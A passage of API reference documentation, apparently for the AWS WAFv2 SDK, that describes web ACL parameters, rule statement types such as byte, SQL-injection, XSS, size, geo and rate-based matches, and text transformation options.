you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type DefaultAction: dict :param DefaultAction: [REQUIRED]\nThe action to perform if none of the Rules contained in the WebACL match.\n\nBlock (dict) --Specifies that AWS WAF should block requests by default.\n\nAllow (dict) --Specifies that AWS WAF should allow requests by default.\n\n\n :type Description: string :param Description: A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. :type Rules: list :param Rules: The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\nName (string) -- [REQUIRED]The name of the rule. You can\'t change the name of a Rule after you create it.\n\nPriority (integer) -- [REQUIRED]If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different.\n\nStatement (dict) -- [REQUIRED]The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement .\n\nByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement.\n\nSearchString (bytes) -- [REQUIRED]A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes.\nValid values depend on the component that you specify for inspection in FieldToMatch :\n\nMethod : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request.\nUriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg .\n\nIf SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive.\n\nIf you\'re using the AWS WAF API\nSpecify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes.\nFor example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString .\n\nIf you\'re using the AWS CLI or one of the AWS SDKs\nThe value that you want AWS WAF to search for. The SDK automatically base64 encodes the value.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\nPositionalConstraint (string) -- [REQUIRED]The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following:\n\nCONTAINS\nThe specified part of the web request must include the value of SearchString , but the location doesn\'t matter.\n\nCONTAINS_WORD\nThe specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true:\n\nSearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot .\nSearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; .\n\n\nEXACTLY\nThe value of the specified part of the web request must exactly match the value of SearchString .\n\nSTARTS_WITH\nThe value of SearchString must appear at the beginning of the specified part of the web request.\n\nENDS_WITH\nThe value of SearchString must appear at the end of the specified part of the web request.\n\n\n\nSqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nXssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nSizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes.\nIf you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes.\nIf you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nComparisonOperator (string) -- [REQUIRED]The operator to use to compare the request part to the size setting.\n\nSize (integer) -- [REQUIRED]The size, in byte, to compare to the request part, after any transformations.\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nGeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin.\n\nCountryCodes (list) --An array of two-character country codes, for example, [ 'US', 'CN' ] , from the alpha-2 country ISO codes of the ISO 3166 international standard.\n\n(string) --\n\n\n\n\nRuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement.\nYou cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the entity.\n\nExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\nIPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet .\nEach IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the IPSet that this statement references.\n\n\n\nRegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet .\nEach regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nRateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests.\nWhen the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit.\nYou can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements:\n\nAn IP match statement with an IP set that specified the address 192.0.2.44.\nA string match statement that searches in the User-Agent header for the string BadBot.\n\nIn this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule.\nYou cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nLimit (integer) -- [REQUIRED]The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement.\n\nAggregateKeyType (string) -- [REQUIRED]Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses.\n\nScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement.\n\n\n\nAndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with AND logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nOrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with OR logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nNotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement .\n\nStatement (dict) --The statement to negate. You can use any statement that can be nested.\n\n\n\nManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups .\nYou can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nVendorName (string) -- [REQUIRED]The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n\nName (string) -- [REQUIRED]The name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n\nExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\n\n\nAction (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting.\nThis is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nYou must specify either this Action setting or the rule OverrideAction setting, but not both:\n\nIf the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting.\nIf the rule statement references a rule group, use the override action setting and not this action setting.\n\n\nBlock (dict) --Instructs AWS WAF to block the web request.\n\nAllow (dict) --Instructs AWS WAF to allow the web request.\n\nCount (dict) --Instructs AWS WAF to count the web request and allow it.\n\n\n\nOverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nSet the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings.\nIn a Rule , you must specify either this 